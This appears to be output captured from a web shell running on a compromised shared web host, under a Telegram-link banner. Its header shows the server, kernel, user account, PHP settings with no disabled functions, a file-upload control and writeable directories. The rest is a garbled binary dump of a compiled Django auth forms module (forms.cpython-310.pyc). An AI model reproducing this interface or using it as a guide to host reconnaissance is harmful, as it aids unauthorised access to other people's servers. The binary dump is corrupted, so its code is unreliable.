https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/django/contrib/auth/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/django/contrib/auth/__pycache__/forms.cpython-310.pyc
o

��Ih�>�@s�ddlZddlZddlmZddlmZmZmZddlm	Z	m
Z
ddlmZddl
mZddlmZddlmZdd	lmZdd
lmZddlmZddlmZdd
lmZddlmZmZ e�Z!e�"d�Z#dd�Z$Gdd�dej%�Z&Gdd�dej'�Z(Gdd�dej)�Z*Gdd�dej+�Z,Gdd�dej+�Z-Gdd�dej.�Z/Gdd�dej.�Z0Gd d!�d!ej.�Z1Gd"d#�d#e1�Z2Gd$d%�d%ej.�Z3dS)&�N)�forms)�authenticate�get_user_model�password_validation)�UNUSABLE_PASSWORD_PREFIX�identify_hasher)�User)�default_token_generator)�get_current_site)�ValidationError)�EmailMultiAlternatives)�loader)�force_bytes)�urlsafe_base64_encode)�capfirst)�gettext�gettext_lazyzdjango.contrib.authcCs t�d|���t�d|���kS)z�
    Perform case-insensitive comparison of two identifiers, using the
    recommended algorithm from Unicode Technical Report 36, section
    2.11.2(B)(2).
    �NFKC)�unicodedata�	normalize�casefold)�s1�s2�r�;/usr/lib/python3/dist-packages/django/contrib/auth/forms.py�_unicode_ci_compares rcs$eZdZdZdZ�fdd�Z�ZS)�ReadOnlyPasswordHashWidgetz)auth/widgets/read_only_password_hash.htmlTc	s�t��|||�}g}|r|�t�r|�dtd�i�n/zt|�}Wnty3|�dtd�i�Ynw|�|��	�D]\}}|�t|�|d��q;||d<|S)N�labelzNo password set.z5Invalid password format or unknown hashing algorithm.)r�value�summary)
�super�get_context�
startswithr�appendrr�
ValueError�safe_summary�items)	�self�namer�attrs�contextr�hasher�key�value_��	__class__rrr!'s�z&ReadOnlyPasswordHashWidget.get_context)�__name__�
__module__�__qualname__�
template_name�	read_onlyr!�
__classcell__rrr.rr#srcs eZdZeZ�fdd�Z�ZS)�ReadOnlyPasswordHashFieldcs.|�dd�|�dd�t�j|i|��dS)N�requiredF�disabledT)�
setdefaultr �__init__�r'�args�kwargsr.rrr:;sz"ReadOnlyPasswordHashField.__init__)r0r1r2r�widgetr:r5rrr.rr68sr6cs(eZdZ�fdd�Z�fdd�Z�ZS)�
UsernameFieldcst�dt��|��S)Nr)rrr �	to_python)r'rr.rrr@BszUsernameField.to_pythoncsit��|��ddd��S)N�none�username)�autocapitalize�autocomplete)r �widget_attrs)r'r>r.rrrEEs
��zUsernameField.widget_attrs)r0r1r2r@rEr5rrr.rr?Asr?cs�eZdZdZded�iZejed�dejddid�e	�
�d	�Zejed
�ejddid�ded�d�ZGd
d�d�Z
�fdd�Zdd�Z�fdd�Zd�fdd�	Z�ZS)�UserCreationFormzc
    A form that creates a user, with no privileges, from the given username and
    password.
    �password_mismatch�'The two password fields didn’t match.�PasswordFrD�new-password�r))r�stripr>�	help_textzPassword confirmation�4Enter the same password as before, for verification.�rr>rLrMc@�eZdZeZdZdeiZdS)zUserCreationForm.Meta)rBrBN�r0r1r2r�model�fieldsr?�
field_classesrrrr�Metab�rUcsBt�j|i|��|jjj|jvrd|j|jjjjjd<dSdS)NT�	autofocus)r r:�_metarR�USERNAME_FIELDrSr>r)r;r.rrr:gs�zUserCreationForm.__init__cCs>|j�d�}|j�d�}|r|r||krt|jddd��|S�N�	password1�	password2rG��code)�cleaned_data�getr�error_messages�r'r[r\rrr�clean_password2ls�z UserCreationForm.clean_password2c
sft���|j�d�}|r1z
t�||j�WdSty0}z
|�d|�WYd}~dSd}~wwdS)Nr\)	r �_post_cleanr_r`r�validate_password�instancer�	add_error)r'�password�errorr.rrrdvs
���zUserCreationForm._post_cleanTcs.t�jdd�}|�|jd�|r|��|S)NF)�commitr[)r �save�set_passwordr_)r'rj�userr.rrrk�s
zUserCreationForm.save�T)r0r1r2�__doc__�_rar�	CharField�
PasswordInputr�"password_validators_help_text_htmlr[r\rUr:rcrdrkr5rrr.rrFMs*���
rFcs>eZdZeed�ed�d�ZGdd�d�Z�fdd�Z�ZS)�UserChangeFormrIu�Raw passwords are not stored, so there is no way to see this user’s password, but you can change the password using <a href="{}">this form</a>.)rrMc@rP)zUserChangeForm.Meta�__all__rBNrQrrrrrU�rVrUcsVt�j|i|��|j�d�}|r|j�d�|_|j�d�}|r)|j�d�|_dSdS)Nrhz../password/�user_permissions�content_type)r r:rSr`rM�format�queryset�select_related)r'r<r=rhrvr.rrr:�s�zUserChangeForm.__init__)	r0r1r2r6rprhrUr:r5rrr.rrt�s��	rtcs�eZdZdZeejddid�d�Zeje	d�dej
dd	id�d
�Ze	d�e	d�d
�Zd�fdd�	Z
dd�Zdd�Zdd�Zdd�Z�ZS)�AuthenticationFormzs
    Base class for authenticating users. Extend this to get a form that accepts
    username/password logins.
    rWTrK)r>rIFrD�current-password�rrLr>z^Please enter a correct %(username)s and password. Note that both fields may be case-sensitive.zThis account is inactive.)�
invalid_login�inactiveNcs�||_d|_t�j|i|��tj�tj�|_|jj	pd}||j
d_	||j
djjd<|j
dj
dur@t|jj�|j
d_
dSdS)z�
        The 'request' parameter is set for custom auth use by subclasses.
        The form data comes in via the standard 'data' kwarg.
        N�rB�	maxlength)�request�
user_cacher r:�	UserModelrX�	get_fieldrY�username_field�
max_lengthrSr>r)rr�verbose_name)r'r�r<r=�username_max_lengthr.rrr:�s�zAuthenticationForm.__init__cCsZ|j�d�}|j�d�}|dur*|r*t|j||d�|_|jdur$|���|�|j�|jS)NrBrh)rBrh)r_r`rr�r��get_invalid_login_error�confirm_login_allowed)r'rBrhrrr�clean�s
zAuthenticationForm.cleancCs|jst|jddd��dS)a�
        Controls whether the given User may log in. This is a policy setting,
        independent of end-user authentication. This default behavior is to
        allow login by active users, and reject login by inactive users.

        If the given user cannot log in, this method should raise a
        ``ValidationError``.

        If the given user may log in, this method should return None.
        rr]N)�	is_activerra)r'rmrrrr��s��z(AuthenticationForm.confirm_login_allowedcCs|jS�N)r��r'rrr�get_user�szAuthenticationForm.get_usercCst|jddd|jjid�S)Nr~rB)r^�params)rrar�r�r�rrrr��s

�z*AuthenticationForm.get_invalid_login_errorr�)r0r1r2ror?r�	TextInputrBrqrprrrhrar:r�r�r�r�r5rrr.rr{�s$���
r{c	@s\eZdZejed�dejddid�d�Z	ddd	�Zd
d�Z	ddd
de
ddddf	dd�ZdS)�PasswordResetForm�Emailr�rD�emailrK)rr�r>NcCs�t�||�}d�|���}t�||�}t||||g�}	|dur+t�||�}
|	�|
d�z|	��WdStyEt�	d|dj
�YdSw)zO
        Send a django.core.mail.EmailMultiAlternatives to `to_email`.
        �Nz	text/htmlz*Failed to send password reset email to %s:rm)r
�render_to_string�join�
splitlinesr�attach_alternative�send�	Exception�logger�	exception�pk)r'�subject_template_name�email_template_namer*�
from_email�to_email�html_email_template_name�subject�body�
email_message�
html_emailrrr�	send_mail�s

��zPasswordResetForm.send_mailcs:t���tjjdid��ddi��}��fdd�|D�S)aGiven an email, return matching user(s) who should receive a reset.

        This allows subclasses to more easily customize the default policies
        that prevent inactive users and users with unusable passwords from
        resetting their password.
        z
%s__iexactr�Tc3s,�|]}|��rt�t|���r|VqdSr�)�has_usable_passwordr�getattr)�.0�u�r��email_field_namerr�	<genexpr>s���
�z.PasswordResetForm.get_users.<locals>.<genexpr>Nr)r��get_email_field_name�_default_manager�filter)r'r��active_usersrr�r�	get_users
s
��zPasswordResetForm.get_usersz'registration/password_reset_subject.txtz&registration/password_reset_email.htmlFc
	Cs�|jd}
|st|�}|j}|j}
n|}}
t��}|�|
�D],}t||�}||
|tt	|j
��||�|�|r8dndd�|	p>i�}|j||||||d�qdS)zf
        Generate a one-use only link for resetting password and send it to the
        user.
        r��https�http)r��domain�	site_name�uidrm�token�protocol)r�N)
r_r
r(r�r�r�r�r�rrr��
make_tokenr�)r'�domain_overrider�r��	use_https�token_generatorr�r�r��extra_email_contextr��current_siter�r�r�rm�
user_emailr*rrrrks0



��
��zPasswordResetForm.saver�)r0r1r2r�
EmailFieldrp�
EmailInputr�r�r�r	rkrrrrr��s �
��r�cs�eZdZdZded�iZejed�ejddid�de	�
�d	�Zejed
�dejddid�d�Z�fdd
�Z
dd�Zddd�Z�ZS)�SetPasswordFormza
    A form that lets a user change set their password without entering the old
    password
    rGrHzNew passwordrDrJrKFrOzNew password confirmationr}c�||_t�j|i|��dSr��rmr r:�r'rmr<r=r.rrr:W�zSetPasswordForm.__init__cC�L|j�d�}|j�d�}|r|r||krt|jddd��t�||j�|S)N�
new_password1�
new_password2rGr]�r_r`rrarrermrbrrr�clean_new_password2[s�z#SetPasswordForm.clean_new_password2TcC�*|jd}|j�|�|r|j��|jS)Nr��r_rmrlrk�r'rjrhrrrrkgs


zSetPasswordForm.savern)r0r1r2rorprarrqrrrrsr�r�r:r�rkr5rrr.rr�Cs$���r�c@sXeZdZdZiej�ded�i�Zejed�dej	ddd�d	�d
�Z
gd�Zdd
�ZdS)�PasswordChangeFormz[
    A form that lets a user change their password by entering their old
    password.
    �password_incorrectzAYour old password was entered incorrectly. Please enter it again.zOld passwordFr|T�rDrWrKr})�old_passwordr�r�cCs,|jd}|j�|�st|jddd��|S)zB
        Validate that the old_password field is correct.
        r�r�r])r_rm�check_passwordrra)r'r�rrr�clean_old_password�s
�z%PasswordChangeForm.clean_old_passwordN)
r0r1r2ror�rarprrqrrr��field_orderr�rrrrr�os���r�cs�eZdZdZded�iZdZejed�ej	ddd�d	�d
e
��d�Zejed�ej	d
did	�d
ed�d�Z
�fdd�Zdd�Zddd�Ze�fdd��Z�ZS)�AdminPasswordChangeFormzN
    A form used to change the password of a user in the admin interface.
    rGrHr7rIrJTr�rKFrOzPassword (again)rDrNcr�r�r�r�r.rrr:�r�z AdminPasswordChangeForm.__init__cCr�rZr�rbrrrrc�s�z'AdminPasswordChangeForm.clean_password2cCr�)zSave the new password.r[r�r�rrrrk�s


zAdminPasswordChangeForm.savecs*t�j}|jD]
}||vrgSqdgS)Nrh)r �changed_datarS)r'�datar(r.rrr��s
�z$AdminPasswordChangeForm.changed_datarn)r0r1r2rorpra�required_css_classrrqrrrrsr[r\r:rcrk�propertyr�r5rrr.rr��s,���
r�)4�loggingr�djangor�django.contrib.authrrr�django.contrib.auth.hashersrr�django.contrib.auth.modelsr�django.contrib.auth.tokensr	�django.contrib.sites.shortcutsr
�django.core.exceptionsr�django.core.mailr�django.templater
�django.utils.encodingr�django.utils.httpr�django.utils.textr�django.utils.translationrrrpr��	getLoggerr�r�Widgetr�Fieldr6rqr?�	ModelFormrFrt�Formr{r�r�r�r�rrrr�<module>s8
		<NS,

https://t.me/RX1948 - 2025